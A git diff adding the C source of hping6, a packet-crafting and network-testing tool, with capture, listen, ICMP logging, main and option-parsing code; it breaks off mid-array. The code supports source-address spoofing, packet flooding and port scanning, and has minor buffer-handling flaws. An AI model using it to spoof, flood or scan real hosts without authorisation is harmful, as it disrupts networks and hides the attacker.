ARS_IPPROTO_TCP 6 /* Transmission Control Protocol. */ +#define ARS_IPPROTO_EGP 8 /* Exterior Gateway Protocol. */ +#define ARS_IPPROTO_PUP 12 /* PUP protocol. */ +#define ARS_IPPROTO_UDP 17 /* User Datagram Protocol. */ +#define ARS_IPPROTO_IDP 22 /* XNS IDP protocol. */ +#define ARS_IPPROTO_TP 29 /* SO Transport Protocol Class 4. */ +#define ARS_IPPROTO_IPV6 41 /* IPv6 header. */ +#define ARS_IPPROTO_ROUTING 43 /* IPv6 routing header. */ +#define ARS_IPPROTO_FRAGMENT 44 /* IPv6 fragmentation header. */ +#define ARS_IPPROTO_RSVP 46 /* Reservation Protocol. */ +#define ARS_IPPROTO_GRE 47 /* General Routing Encapsulation. */ +#define ARS_IPPROTO_ESP 50 /* encapsulating security payload. */ +#define ARS_IPPROTO_AH 51 /* authentication header. */ +#define ARS_IPPROTO_ICMPV6 58 /* ICMPv6. */ +#define ARS_IPPROTO_NONE 59 /* IPv6 no next header. */ +#define ARS_IPPROTO_DSTOPTS 60 /* IPv6 destination options. */ +#define ARS_IPPROTO_MTP 92 /* Multicast Transport Protocol. */ +#define ARS_IPPROTO_ENCAP 98 /* Encapsulation Header. */ +#define ARS_IPPROTO_PIM 103 /* Protocol Independent Multicast. */ +#define ARS_IPPROTO_COMP 108 /* Compression Header Protocol. */ +#define ARS_IPPROTO_RAW 255 /* Raw IP packets. */ + +#endif diff --git a/ip_opt_build.c b/ip_opt_build.c new file mode 100644 index 0000000..902f63c --- /dev/null +++ b/ip_opt_build.c @@ -0,0 +1,83 @@ +/* + * $smu-mark$ + * $name: memunlock.c$ + * $other_author: Mika + * $other_copyright: Copyright (C) 1999 Mika + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:48 MET 1999$ + * $rev: 2$ + */ + +#include +#include +#include +#include +#include +#include + +#include "hping2.h" +#include "globals.h" + +unsigned char ip_opt_build(char* ip_opt) +{ + unsigned char optlen = 0; + unsigned long ip; + + memset(ip_opt, 1, sizeof(ip_opt)); + + if (opt_lsrr) + { + if (lsr_length<=39) + { + memcpy(ip_opt, &lsr, lsr_length); + optlen += lsr_length; + } + else + { + printf("Warning: loose source route is too long, discarding it"); + opt_lsrr=0; + } + } + + if (opt_ssrr) + { + if (ssr_length+optlen<=39) + { + memcpy(ip_opt + optlen, &ssr, ssr_length); + optlen += ssr_length; + } + else + { + printf("Warning: strict source route is too long, discarding it"); + opt_ssrr=0; + } + } + + if (opt_rroute) + { + if (optlen<=33) + { + ip_opt[optlen]=IPOPT_RR; + ip_opt[optlen+1]=39-optlen; + ip_opt[optlen+2]=8; + ip=inet_addr("1.2.3.4"); + memcpy(ip_opt+optlen+3,&ip,4); + optlen=39; + } + else + { + printf("Warning: no room for record route, discarding option\n"); + opt_rroute=0; + } + } + + if (optlen) + { + optlen = (optlen + 3) & ~3; + ip_opt[optlen-1] = 0; + return optlen; + } + else + return 0; +} + diff --git a/libars.a b/libars.a new file mode 100644 index 0000000..7f2e1ec Binary files /dev/null and b/libars.a differ diff --git a/libpcap_stuff.c b/libpcap_stuff.c new file mode 100644 index 0000000..80a63d5 --- /dev/null +++ b/libpcap_stuff.c @@ -0,0 +1,75 @@ +/* + * $smu-mark$ + * $name: libpcap_stuff.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:48 MET 1999$ + * $rev: 8$ + */ + +#include "hping2.h" + +/* This is not be compiled if the target is linux without libpcap */ +#if (!defined OSTYPE_LINUX) || (defined FORCE_LIBPCAP) +#include +#include +#include +#include +#include +#include + +#include "globals.h" + +int open_pcap() +{ + int on; + + on = 1; /* no warning if BIOCIMMEDIATE will not be compiled */ + if (opt_debug) + printf("DEBUG: pcap_open_live(%s, 99999, 0, 1, %p)\n", + ifname, errbuf); + + pcapfp = pcap_open_live(ifname, 99999, 0, 1, errbuf); + if (pcapfp == NULL) { + printf("[open_pcap] pcap_open_live: %s\n", errbuf); + return -1; + } +#if (!defined OSTYPE_LINUX) && (!defined __sun__) + /* Return the packets to userspace as fast as possible */ + if (ioctl(pcap_fileno(pcapfp), BIOCIMMEDIATE, &on) == -1) + perror("[open_pcap] ioctl(... BIOCIMMEDIATE ...)"); +#endif + return 0; +} + +int close_pcap() +{ + pcap_close(pcapfp); + return 0; +} + +int pcap_recv(char *packet, unsigned int size) +{ + char *p = NULL; + int pcapsize; + + if (opt_debug) + printf("DEBUG: under pcap_recv()\n"); + + while(p == NULL) { + p = (unsigned char*) pcap_next(pcapfp, &hdr); + if (p == NULL && opt_debug) + printf("DEBUG: [pcap_recv] p = NULL\n"); + } + + pcapsize = hdr.caplen; + + if (pcapsize < size) + size = pcapsize; + + memcpy(packet, p, pcapsize); + + return pcapsize; +} +#endif /* ! OSTYPE_LINUX || FORCE_LIBPCAP */ diff --git a/linux_sockpacket.c b/linux_sockpacket.c new file mode 100644 index 0000000..6c73b75 --- /dev/null +++ b/linux_sockpacket.c @@ -0,0 +1,73 @@ +/* + * $smu-mark$ + * $name: linux_sockpacket.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:48 MET 1999$ + * $rev: 8$ + */ + +#include "hping2.h" + +#if (defined OSTYPE_LINUX) && (!defined FORCE_LIBPCAP) +#include +#include +#include +#include /* close */ +#include + +#include "globals.h" + +static void enlarge_recvbuf(int fd) +{ + int val = 131070; + int len = sizeof(val); + + /* Don't check the error: non fatal */ + setsockopt(fd, SOL_SOCKET, SO_RCVBUF, (const char *) &val, len); +} + +#ifndef ETH_P_IPV6 +# define ETH_P_IPV6 0x86DD +#endif + +int open_sockpacket() +{ + int s; + + if (opt_debug) + printf("DEBUG: Trying to open PF_PACKET socket... "); + +// s = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP)); +// s = socket(PF_PACKET, SOCK_DGRAM, 768); + if(opt_ipv6) + s = socket(PF_PACKET, SOCK_DGRAM, htons(ETH_P_IPV6)); + else + s = socket(PF_PACKET, SOCK_DGRAM, htons(ETH_P_IP)); + + if (s == -1) { + if (opt_debug) { + printf("DEBUG: failed ( 2.0.x kernel? )\n"); + printf("DEBUG: Trying to open SOCK_PACKET socket... "); + } + s = socket(AF_INET, SOCK_PACKET, htons(ETH_P_IP)); + } + + if (s == -1) { + perror("[open_sockpacket] socket()"); + return -1; + } + enlarge_recvbuf(s); + + if (opt_debug) + printf("DEBUG: PF_PACKET, SOCK_RAW open OK\n"); + + return s; +} + +int close_sockpacket(int s) +{ + return close(s); +} +#endif /* OSTYPE_LINUX && !FORCE_LIBPCAP */ diff --git a/listen.c b/listen.c new file mode 100644 index 0000000..5fb6ac4 --- /dev/null +++ b/listen.c @@ -0,0 +1,79 @@ +/* + * $smu-mark$ + * $name: listen.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:48 MET 1999$ + * $rev: 8$ + */ + +#include +#include +#include +#include +#include +#include +#include +#include + +#include "hping2.h" /* hping2.h includes hcmp.h */ +#include "globals.h" + +void listenmain(void) +{ + int size, ip_size; + int stdoutFD = fileno(stdout); + char packet[IP_MAX_SIZE+linkhdr_size]; + char *p, *ip_packet; + struct myiphdr ip; + __u16 id; + static __u16 exp_id; /* expected id */ + + exp_id = 1; + + while(1) { + size = read_packet(packet, IP_MAX_SIZE+linkhdr_size); + switch(size) { + case 0: + continue; + case -1: + exit(1); + } + + /* Skip truncated packets */ + if (size < linkhdr_size+IPHDR_SIZE) + continue; + ip_packet = packet + linkhdr_size; + + /* copy the ip header so it will be aligned */ + memcpy(&ip, ip_packet, sizeof(ip)); + id = ntohs(ip.id); + ip_size = ntohs(ip.tot_len); + if (size-linkhdr_size > ip_size) + size = ip_size; + else + size -= linkhdr_size; + + if ((p = memstr(ip_packet, sign, size))) { + if (opt_verbose) + fprintf(stderr, "packet %d received\n", id); + + if (opt_safe) { + if (id == exp_id) + exp_id++; + else { + if (opt_verbose) + fprintf(stderr, "packet not in sequence (id %d) received\n", id); + send_hcmp(HCMP_RESTART, exp_id); + if (opt_verbose) + fprintf(stderr, "HCMP restart from %d sent\n", exp_id); + continue; /* discard this packet */ + } + } + + p+=strlen(sign); + write(stdoutFD, p, size-(p-ip_packet)); + } + } +} diff --git a/logicmp.c b/logicmp.c new file mode 100644 index 0000000..6f4881f --- /dev/null +++ b/logicmp.c @@ -0,0 +1,112 @@ +/* + * $smu-mark$ + * $name: logicmp.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:48 MET 1999$ + * $rev: 8$ + */ + +#include +#include /* this should be not needed, but ip_icmp.h lacks it */ + +#include "hping2.h" +#include "globals.h" + +void log_icmp_timeexc(const char *src_addr, unsigned short icmp_code) +{ + switch(icmp_code) { + case ICMP_EXC_TTL: + printf("TTL 0 during transit from ip=%s", src_addr); + break; + case ICMP_EXC_FRAGTIME: + printf("TTL 0 during reassembly from ip=%s", src_addr); + break; + } + if (opt_gethost) { + char *hostn; + + fflush(stdout); + hostn = get_hostname(src_addr); + printf("name=%s", (hostn) ? hostn : "UNKNOWN"); + } +} + +void log_icmp_unreach(const char *src_addr, unsigned short icmp_code) +{ + static char* icmp_unreach_msg[]={ + "Network Unreachable", /* code 0 */ + "Host Unreachable", /* code 1 */ + "Protocol Unreachable", /* code 2 */ + "Port Unreachable", /* code 3 */ + "Fragmentation Needed/DF set", /* code 4 */ + "Source Route failed", /* code 5 */ + NULL, /* code 6 */ + NULL, /* code 7 */ + NULL, /* code 8 */ + NULL, /* code 9 */ + NULL, /* code 10 */ + NULL, /* code 11 */ + NULL, /* code 12 */ + "Packet filtered", /* code 13 */ + "Precedence violation", /* code 14 */ + "precedence cut off" /* code 15 */ + }; + + if (icmp_code < 16 && icmp_unreach_msg[icmp_code] != NULL) + printf("ICMP %s from ip=%s", icmp_unreach_msg[icmp_code], src_addr); + else + printf("ICMP Unreachable type=%d from ip=%s", + icmp_code, src_addr); + + if (opt_gethost) { + char *hostn; + + fflush(stdout); + hostn = get_hostname(src_addr); + printf("name=%s", (hostn) ? hostn : "UNKNOWN"); + } + putchar('\n'); +} + +void log_icmp6_unreach(const char *src_addr, unsigned short icmp_code) +{ + static char* icmp_unreach_msg[]={ + "Network Unreachable", /* code 0 */ + "Packet Filtered", /* code 1 */ + "Unreachable type=2", /* code 2 */ + "Address Unreachable", /* code 3 */ + "Port Unreachable", /* code 4 */ + }; + + if (icmp_code < 5) + printf("ICMP6 %s from ip=%s", icmp_unreach_msg[icmp_code], src_addr); + else + printf("ICMP6 Unreachable type=%d from ip=%s", + icmp_code, src_addr); + + if (opt_gethost) { + char *hostn; + + fflush(stdout); + hostn = get_hostname(src_addr); + printf("name=%s", (hostn) ? hostn : "UNKNOWN"); + } + putchar('\n'); +} + +void log_icmp6_ptb(const char *src_addr, __u32 mtu) +{ + printf("ICMP6 Packet Too Big, MTU=%d from ip=%s", + mtu, src_addr); + + if (opt_gethost) { + char *hostn; + + fflush(stdout); + hostn = get_hostname(src_addr); + printf("name=%s", (hostn) ? hostn : "UNKNOWN"); + } + putchar('\n'); +} diff --git a/main.c b/main.c new file mode 100644 index 0000000..f700c02 --- /dev/null +++ b/main.c @@ -0,0 +1,390 @@ +/* + * $smu-mark$ + * $name: main.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:48 MET 1999$ + * $rev: 8$ + */ + +/* + * hping official page at http://www.kyuzz.org/antirez + * Covered by GPL version 2, Read the COPYING file for more information + */ + +/* $Id: main.c,v 1.26 2003/08/07 23:55:55 antirez Exp $ */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "hping2.h" + +#if (!defined OSTYPE_LINUX) || (defined FORCE_LIBPCAP) +#include +#endif /* ! OSTYPE_LINUX || FORCE_LIBPCAP */ + +/* globals */ +unsigned int + tcp_th_flags = 0, + linkhdr_size = -1, /* physical layer header size */ + ip_tos = 0, + set_seqnum = FALSE, + tcp_seqnum = FALSE, + set_ack, + h_if_mtu, + virtual_mtu = DEFAULT_VIRTUAL_MTU, + ip_frag_offset = 0, + signlen, + lsr_length = 0, + ssr_length = 0, + tcp_ack; + + +unsigned short int + data_size = 0; + +float + rtt_min = 0, + rtt_max = 0, + rtt_avg = 0; + +int + sockpacket, + sockraw, + sent_pkt = 0, + recv_pkt = 0, + out_of_sequence_pkt = 0, + sending_wait = DEFAULT_SENDINGWAIT, /* see DEFAULT_SENDINGWAIT */ + opt_rawipmode = FALSE, + opt_icmpmode = FALSE, + opt_udpmode = FALSE, + opt_scanmode = FALSE, + opt_listenmode = FALSE, + opt_waitinusec = FALSE, + opt_numeric = FALSE, + opt_gethost = TRUE, + opt_quiet = FALSE, + opt_relid = FALSE, + opt_fragment = FALSE, + opt_df = FALSE, + opt_mf = FALSE, + opt_debug = FALSE, + opt_verbose = FALSE, + opt_winid_order = FALSE, + opt_keepstill = FALSE, + opt_datafromfile= FALSE, + opt_hexdump = FALSE, + opt_contdump = FALSE, + opt_sign = FALSE, + opt_safe = FALSE, + opt_end = FALSE, + opt_traceroute = FALSE, + opt_seqnum = FALSE, + opt_incdport = FALSE, + opt_force_incdport = FALSE, + opt_icmptype = DEFAULT_ICMP_TYPE, + opt_icmpcode = DEFAULT_ICMP_CODE, + opt_rroute = FALSE, + opt_tcpexitcode = FALSE, + opt_badcksum = FALSE, + opt_tr_keep_ttl = FALSE, + opt_tcp_timestamp = FALSE, + opt_tr_stop = FALSE, + opt_tr_no_rtt = FALSE, + opt_rand_dest = FALSE, + opt_rand_source = FALSE, + opt_lsrr = FALSE, + opt_ssrr = FALSE, + opt_cplt_rte = FALSE, + opt_bps = 0, + opt_pps = 0, + tcp_exitcode = 0, + src_ttl = DEFAULT_TTL, + src_id = -1, /* random */ + base_dst_port = DEFAULT_DPORT, + dst_port = DEFAULT_DPORT, + src_port, + sequence = 0, + initsport = DEFAULT_INITSPORT, + src_winsize = DEFAULT_SRCWINSIZE, + src_thoff = (TCPHDR_SIZE >> 2), + count = DEFAULT_COUNT, + ctrlzbind = DEFAULT_BIND, + delaytable_index= 0, + eof_reached = FALSE, + icmp_ip_version = DEFAULT_ICMP_IP_VERSION, + icmp_ip_ihl = DEFAULT_ICMP_IP_IHL, + icmp_ip_tos = DEFAULT_ICMP_IP_TOS, + icmp_ip_tot_len = DEFAULT_ICMP_IP_TOT_LEN, + icmp_ip_id = DEFAULT_ICMP_IP_ID, + icmp_ip_protocol= DEFAULT_ICMP_IP_PROTOCOL, + icmp_ip_srcport = DEFAULT_DPORT, + icmp_ip_dstport = DEFAULT_DPORT, + opt_force_icmp = FALSE, + icmp_cksum = DEFAULT_ICMP_CKSUM, + raw_ip_protocol = DEFAULT_RAW_IP_PROTOCOL, + opt_ipv6 = FALSE, + opt_af = AF_INET, + opt_flood = FALSE; + +char + datafilename [1024], + targetname [1024], + targetstraddr [1024], + ifname [1024] = {'\0'}, + ifstraddr [1024], + spoofaddr [1024], + icmp_ip_srcip [1024], + icmp_ip_dstip [1024], + icmp_gwip [1024], + sign [1024], + rsign [1024], /* reverse sign (hping -> gniph) */ + ip_opt [40], + *opt_scanports = ""; + +unsigned char + lsr [255] = {0}, + ssr [255] = {0}; + +unsigned + ip_optlen = 0; + +struct sockaddr_in + icmp_ip_src, + icmp_ip_dst, + icmp_gw; +struct SOCKADDR + local, + remote; + +struct itimerval usec_delay; +volatile struct delaytable_element delaytable[TABLESIZE]; + +struct hcmphdr *hcmphdr_p; /* global pointer used by send_hcmp to transfer + hcmp headers to data_handler */ + +#if (!defined OSTYPE_LINUX) || (defined FORCE_LIBPCAP) +pcap_t *pcapfp; +char errbuf[PCAP_ERRBUF_SIZE]; +struct pcap_pkthdr hdr; +#endif /* ! OSTYPE_LINUX || FORCE_LIBPCAP */ + +/* main */ +int main(int argc, char **argv) +{ + char setflags[1024] = {'\0'}; + int c, hdr_size; + + if (parse_options(argc, argv) == -1) { + printf("hping6: missing host argument\n" + "Try `hping6 --help' for more information.\n"); + exit(1); + } + + /* reverse sign */ + if (opt_sign || opt_listenmode) { + char *src = sign+strlen(sign)-1; /* last char before '\0' */ + char *dst = rsign; + + while(src>=sign) + *dst++ = *src--; + *dst = '\0'; + if (opt_debug) + printf("DEBUG: reverse sign: %s\n", rsign); + } + + /* get target address before interface processing */ + if (opt_ipv6) + resolve6((struct sockaddr*)&remote, targetname); + else if ((!opt_listenmode && !opt_safe) && !opt_rand_dest) + resolve((struct sockaddr*)&remote, targetname); + + if (opt_rand_dest) { + strlcpy(targetstraddr, targetname, sizeof(targetstraddr)); + } else { + inet_ntop(opt_af, ADDR(&remote), targetstraddr, sizeof(targetstraddr)); + } + + /* get interface's name and address */ + if ( get_if_name() == -1 ) { + printf("[main] no such device\n"); + exit(1); + } + + if (opt_verbose || opt_debug) { + printf("using %s, addr: %s, MTU: %d\n", + ifname, ifstraddr, h_if_mtu); + } + + /* open raw socket */ + sockraw = open_sockraw(); + if (sockraw == -1) { + printf("[main] can't open raw socket\n"); + exit(1); + } + + /* set SO_BROADCAST option */ + socket_broadcast(sockraw); + /* set SO_IPHDRINCL option */ + if(!opt_ipv6) + socket_iphdrincl(sockraw); + + /* open sock packet or libpcap socket */ +#if (defined OSTYPE_LINUX) && (!defined FORCE_LIBPCAP) + sockpacket = open_sockpacket(); + if (sockpacket == -1) { + printf("[main] can't open packet socket\n"); + exit(1); + } +#else + if (open_pcap() == -1) { + printf("[main] open_pcap failed\n"); + exit(1); + } +#endif /* OSTYPE_LINUX && !FORCE_LIBPCAP */ + + /* get physical layer header size */ + if (linkhdr_size == -1 && get_linkhdr_size(ifname) == -1) { + printf("[main] physical layer header size unknown (try --lhs)\n"); + exit(1); + } + + if (spoofaddr[0] != '\0') + { + if(opt_ipv6) + resolve6((struct sockaddr*)&local, spoofaddr); + else + resolve((struct sockaddr*)&local, spoofaddr); + } + + if (icmp_ip_srcip[0] == '\0') + resolve((struct sockaddr*)&icmp_ip_src, "1.2.3.4"); + else + resolve((struct sockaddr*)&icmp_ip_src, icmp_ip_srcip); + + if (icmp_ip_dstip[0] == '\0') + resolve((struct sockaddr*)&icmp_ip_dst, "5.6.7.8"); + else + resolve((struct sockaddr*)&icmp_ip_dst, icmp_ip_dstip); + + if (icmp_gwip[0] == '\0') + resolve((struct sockaddr*)&icmp_gw, "0.0.0.0"); + else + resolve((struct sockaddr*)&icmp_gw, icmp_gwip); + + srand(time(NULL)); + + /* set initial source port */ + if (initsport == -1) + initsport = src_port = 1024 + (rand() % 2000); + else + src_port = initsport; + + for (c = 0; c < TABLESIZE; c++) + delaytable[c].seq = -1; + + /* use SIGALRM to send packets like ping do */ + Signal(SIGALRM, send_packet); + + /* binding */ + if (ctrlzbind != BIND_NONE) Signal(SIGTSTP, inc_destparm); + Signal(SIGINT, print_statistics); + Signal(SIGTERM, print_statistics); + + /* if we are in listemode enter in listenmain() else */ + /* print HPING... bla bla bla and enter in wait_packet() */ + if (opt_listenmode) { + fprintf(stderr, "hping6 listen mode\n"); + + /* memory protection */ + if (memlockall() == -1) { + perror("[main] memlockall()"); + fprintf(stderr, "Warning: can't disable memory paging!\n"); + } else if (opt_verbose || opt_debug) { + printf("Memory paging disabled\n"); + } + listenmain(); + /* UNREACHED */ + } + + /* Scan mode */ + if (opt_scanmode) { + fprintf(stderr, "Scanning %s (%s), port %s\n", + targetname, targetstraddr, opt_scanports); + scanmain(); + /* UNREACHED */ + } + + if (opt_rawipmode) { + strcat(setflags, "raw IP mode"); + hdr_size = IPHDR_SIZE; + } else if (opt_icmpmode) { + strcat(setflags, "icmp mode"); + hdr_size = IPHDR_SIZE + ICMPHDR_SIZE; + } else if (opt_udpmode) { + strcat(setflags, "udp mode"); + hdr_size = IPHDR_SIZE + UDPHDR_SIZE; + } else { + if (tcp_th_flags & TH_RST) strcat(setflags, "R"); + if (tcp_th_flags & TH_SYN) strcat(setflags, "S"); + if (tcp_th_flags & TH_ACK) strcat(setflags, "A"); + if (tcp_th_flags & TH_FIN) strcat(setflags, "F"); + if (tcp_th_flags & TH_PUSH) strcat(setflags, "P"); + if (tcp_th_flags & TH_URG) strcat(setflags, "U"); + if (tcp_th_flags & TH_X) strcat(setflags, "X"); + if (tcp_th_flags & TH_Y) strcat(setflags, "Y"); + if (setflags[0] == '\0') strcat(setflags, "NO FLAGS are"); + hdr_size = IPHDR_SIZE + TCPHDR_SIZE; + } + + if(opt_ipv6) + hdr_size += IP6HDR_SIZE - IPHDR_SIZE; + + printf("HPING %s (%s %s): %s set, %d headers + %d data bytes\n", + targetname, + ifname, + targetstraddr, + setflags, + hdr_size, + data_size); + + /* memory protection */ + if (opt_datafromfile || opt_sign) { + if (memlockall() == -1) { + perror("[main] memlockall()"); + fprintf(stderr, + "Warning: can't disable memory paging!\n"); + } else if (opt_verbose || opt_debug) { + printf("Memory paging disabled\n"); + } + } + + /* start packet sending */ + kill(getpid(), SIGALRM); + + /* flood mode? */ + if (opt_flood) { + fprintf(stderr, + "hping in flood mode, no replies will be shown\n"); + while (1) { + send_packet(0); + } + } + + /* main loop */ + while(1) + wait_packet(); + + return 0; +} diff --git a/memlock.c b/memlock.c new file mode 100644 index 0000000..6b17038 --- /dev/null +++ b/memlock.c @@ -0,0 +1,29 @@ +/* + * $smu-mark$ + * $name: memlock.c$ + * $other_author: Alfonso De Gregorio + * $other_copyright: Copyright (C) 1999 by Alfonso De Gregorio + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:48 MET 1999$ + * $rev: 2$ + */ + +#include +#include + +int memlock(char *addr, size_t size) +{ +#ifdef _POSIX_MEMLOCK_RANGE + unsigned long page_offset, page_size; + + page_size = sysconf(_SC_PAGESIZE); /* also .. */ + page_offset = (unsigned long) addr % page_size; + + addr -= page_offset; + size += page_offset; + + return ( mlock(addr, size) ); +#endif + return (-1); +} + diff --git a/memlockall.c b/memlockall.c new file mode 100644 index 0000000..28a3abf --- /dev/null +++ b/memlockall.c @@ -0,0 +1,23 @@ +/* + * $smu-mark$ + * $name: memlockall.c$ + * $other_author: Alfonso De Gregorio + * $other_copyright: Copyright (C) 1999 by Alfonso De Gregorio + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:48 MET 1999$ + * $rev: 2$ + */ + +#include +#include + +int memlockall(void) +{ +/* #ifdef _POSIX_MEMLOCK */ +/* NJ: better to test _POSIX_MEMLOCK value */ +#if _POSIX_MEMLOCK == 1 + return ( mlockall(MCL_CURRENT|MCL_FUTURE) ); +#endif + return (-1); +} + diff --git a/memstr.c b/memstr.c new file mode 100644 index 0000000..06d191a --- /dev/null +++ b/memstr.c @@ -0,0 +1,25 @@ +/* + * $smu-mark$ + * $name: memstr.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:48 MET 1999$ + * $rev: 4$ + */ + +#include +#include /* NULL macro */ + +char *memstr(char *haystack, char *needle, int size) +{ + char *p; + char needlesize = strlen(needle); + + for (p = haystack; p <= (haystack-needlesize+size); p++) + { + if (memcmp(p, needle, needlesize) == 0) + return p; /* found */ + } + return NULL; +} diff --git a/memunlock.c b/memunlock.c new file mode 100644 index 0000000..85abe85 --- /dev/null +++ b/memunlock.c @@ -0,0 +1,28 @@ +/* + * $smu-mark$ + * $name: memunlock.c$ + * $other_author: Alfonso De Gregorio + * $other_copyright: Copyright (C) 1999 by Alfonso De Gregorio + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:48 MET 1999$ + * $rev: 2$ + */ + +#include +#include + +int memunlock(char *addr, size_t size) +{ +#ifdef _POSIX_MEMLOCK_RANGE + unsigned long page_offset, page_size; + + page_size = sysconf(_SC_PAGESIZE); + page_offset = (unsigned long) addr % page_size; + + addr -= page_offset; + size += page_offset; + + return ( munlock(addr, size) ); +#endif + return (-1); +} diff --git a/memunlockall.c b/memunlockall.c new file mode 100644 index 0000000..bace507 --- /dev/null +++ b/memunlockall.c @@ -0,0 +1,23 @@ +/* + * $smu-mark$ + * $name: memunlockall.c$ + * $other_author: Alfonso De Gregorio + * $other_copyright: Copyright (C) 1999 by Alfonso De Gregorio + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:48 MET 1999$ + * $rev: 2$ + */ + +#include +#include + +int memunlockall(void) +{ +/* #ifdef _POSIX_MEMLOCK */ +/* NJ: better to test _POSIX_MEMLOCK value */ +#if _POSIX_MEMLOCK == 1 + return ( munlockall() ); +#endif + return(-1); +} + diff --git a/opensockraw.c b/opensockraw.c new file mode 100644 index 0000000..87c59c5 --- /dev/null +++ b/opensockraw.c @@ -0,0 +1,29 @@ +/* + * $smu-mark$ + * $name: opensockraw.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:49 MET 1999$ + * $rev: 8$ + */ + +#include +#include +#include +#include /* IPPROTO_RAW def. */ +#include "hping2.h" +#include "globals.h" + +int open_sockraw() +{ + int s; + + s = socket(opt_af, SOCK_RAW, IPPROTO_RAW); + if (s == -1) { + perror("[open_sockraw] socket()"); + return -1; + } + + return s; +} diff --git a/parseoptions.c b/parseoptions.c new file mode 100644 index 0000000..333ab63 --- /dev/null +++ b/parseoptions.c @@ -0,0 +1,719 @@ +/* parseoptions.c -- options handling + * Copyright(C) 1999-2001 Salvatore Sanfilippo + * Under GPL, see the COPYING file for more information about + * the license. */ + +/* $Id: parseoptions.c,v 1.25 2003/08/08 14:39:00 antirez Exp $ */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "antigetopt.h" + +#include "hping2.h" +#include "globals.h" + +enum { OPT_COUNT, OPT_INTERVAL, OPT_NUMERIC, OPT_QUIET, OPT_INTERFACE, + OPT_HELP, OPT_VERSION, OPT_DESTPORT, OPT_BASEPORT, OPT_TTL, OPT_ID, + OPT_WIN, OPT_SPOOF, OPT_FIN, OPT_SYN, OPT_RST, OPT_PUSH, OPT_ACK, + OPT_URG, OPT_XMAS, OPT_YMAS, OPT_FRAG, OPT_MOREFRAG, OPT_DONTFRAG, + OPT_FRAGOFF, OPT_TCPOFF, OPT_REL, OPT_DATA, OPT_RAWIP, OPT_ICMP, + OPT_UDP, OPT_BIND, OPT_UNBIND, OPT_DEBUG, OPT_VERBOSE, OPT_WINID, + OPT_KEEP, OPT_FILE, OPT_DUMP, OPT_PRINT, OPT_SIGN, OPT_LISTEN, + OPT_SAFE, OPT_TRACEROUTE, OPT_TOS, OPT_MTU, OPT_SEQNUM, OPT_BADCKSUM, + OPT_SETSEQ, OPT_SETACK, OPT_ICMPTYPE, OPT_ICMPCODE, OPT_END, + OPT_RROUTE, OPT_IPPROTO, OPT_ICMP_IPVER, OPT_ICMP_IPHLEN, + OPT_ICMP_IPLEN, OPT_ICMP_IPID, OPT_ICMP_IPPROTO, OPT_ICMP_CKSUM, + OPT_ICMP_TS, OPT_ICMP_ADDR, OPT_TCPEXITCODE, OPT_FAST, OPT_TR_KEEP_TTL, + OPT_TCP_TIMESTAMP, OPT_TR_STOP, OPT_TR_NO_RTT, OPT_ICMP_HELP, + OPT_RAND_DEST, OPT_RAND_SOURCE, OPT_LSRR, OPT_SSRR, OPT_ROUTE_HELP, + OPT_ICMP_IPSRC, OPT_ICMP_IPDST, OPT_ICMP_SRCPORT, OPT_ICMP_DSTPORT, + OPT_ICMP_GW, OPT_FORCE_ICMP, OPT_APD_SEND, OPT_SCAN, OPT_FASTER, + OPT_BPS, OPT_PPS, OPT_IPV6, OPT_LHS ,OPT_FLOOD }; + +static struct ago_optlist hping_optlist[] = { + { 'c', "count", OPT_COUNT, AGO_NEEDARG }, + { 'i', "interval", OPT_INTERVAL, AGO_NEEDARG|AGO_EXCEPT0 }, + { 'n', "numeric", OPT_NUMERIC, AGO_NOARG }, + { 'q', "quiet", OPT_QUIET, AGO_NOARG }, + { 'I', "interface", OPT_INTERFACE, AGO_NEEDARG }, + { 'h', "help", OPT_HELP, AGO_NOARG }, + { 'v', "version", OPT_VERSION, AGO_NOARG }, + { 'p', "destport", OPT_DESTPORT, AGO_NEEDARG|AGO_EXCEPT0 }, + { 's', "baseport", OPT_BASEPORT, AGO_NEEDARG|AGO_EXCEPT0 }, + { 't', "ttl", OPT_TTL, AGO_NEEDARG }, + { 'N', "id", OPT_ID, AGO_NEEDARG|AGO_EXCEPT0 }, + { 'w', "win", OPT_WIN, AGO_NEEDARG|AGO_EXCEPT0 }, + { 'a', "spoof", OPT_SPOOF, AGO_NEEDARG|AGO_EXCEPT0 }, + { 'F', "fin", OPT_FIN, AGO_NOARG|AGO_EXCEPT0 }, + { 'S', "syn", OPT_SYN, AGO_NOARG|AGO_EXCEPT0 }, + { 'R', "rst", OPT_RST, AGO_NOARG|AGO_EXCEPT0 }, + { 'P', "push", OPT_PUSH, AGO_NOARG|AGO_EXCEPT0 }, + { 'A', "ack", OPT_ACK, AGO_NOARG|AGO_EXCEPT0 }, + { 'U', "urg", OPT_URG, AGO_NOARG|AGO_EXCEPT0 }, + { 'X', "xmas", OPT_XMAS, AGO_NOARG|AGO_EXCEPT0 }, + { 'Y', 